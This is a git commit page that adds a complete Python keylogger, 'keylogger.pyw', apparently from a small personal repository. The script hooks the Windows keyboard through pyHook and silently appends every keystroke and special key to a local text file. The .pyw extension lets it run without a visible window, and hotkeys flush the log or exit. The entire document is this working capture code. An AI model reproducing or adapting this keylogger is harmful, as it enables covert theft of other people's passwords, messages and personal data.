rename file

nanotube [2005-09-04 04:47]
rename file
Filename
keylogger.pyw
diff --git a/keylogger.pyw b/keylogger.pyw
new file mode 100644
index 0000000..f2ff699
--- /dev/null
+++ b/keylogger.pyw
@@ -0,0 +1,69 @@
+import pyHook
+import time
+import pythoncom
+import sys
+
+class KeyLogger:
+    ''' Captures all keystrokes, and logs them to a text file
+    '''
+    def __init__(self, hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", logFile="C:\Temp\log.txt"):
+
+        self.exitKey = exitKey                      #key we press to quit keylogger
+        self.flushKey = flushKey                    #key we press to make keylogger flush the file buffer (so we can check the log, for example)
+
+        self.hm = pyHook.HookManager()
+
+        self.hm.KeyDown = self.OnKeyboardEvent
+
+        if hookKeyboard == 1:
+            self.hm.HookKeyboard()
+        if hookMouse == 1:
+            self.hm.HookMouse()
+
+        self.log = open(logFile, 'a')
+
+        #ascii subset is created as a filter to exclude funky non-printable chars from the log
+        self.asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
+        self.asciiSubset.extend(range(32,128))      #all normal printable chars
+
+        pythoncom.PumpMessages()
+
+
+    def OnKeyboardEvent(self, event):
+        '''This function actually writes the stuff to the log, subject to parsing.
+        '''
+        '''
+        self.log.write('MessageName: ' + str(event.MessageName))
+        self.log.write('Message: ' + str(event.Message))
+        self.log.write('Time: ' + str(event.Time))
+        self.log.write('Window: ' + str(event.Window))
+        self.log.write('WindowName: ' + str(event.WindowName))
+        self.log.write('Ascii: ' + str(event.Ascii) + ' ' + chr(event.Ascii))
+        self.log.write('Key: ' + str(event.Key))
+        self.log.write('KeyID: ' + str(event.KeyID))
+        self.log.write('ScanCode: ' + str(event.ScanCode))
+        self.log.write('Extended: ' + str(event.Extended))
+        self.log.write('Injected: ' + str(event.Injected))
+        self.log.write('Alt: ' + str(event.Alt))
+        self.log.write('Transition: ' + str(event.Transition))
+        self.log.write('---\n')
+        '''
+        if event.Ascii in self.asciiSubset:
+            self.log.write(chr(event.Ascii))
+
+        #we translate all the special keys, such as arrows, backspace, into text strings for logging
+        #exclude shift keys, because they are already represented (as capital letters/symbols)
+        if event.Ascii == 0 and not (str(event.Key).endswith('shift')):
+            self.log.write('[KeyName:' + event.Key + ']')
+
+        if event.Key == self.flushKey:
+            self.log.flush()
+
+        if event.Key == self.exitKey:
+            sys.exit()
+
+        return True
+
+if __name__ == '__main__':
+    kl = KeyLogger()
+
\ No newline at end of file
ViewGit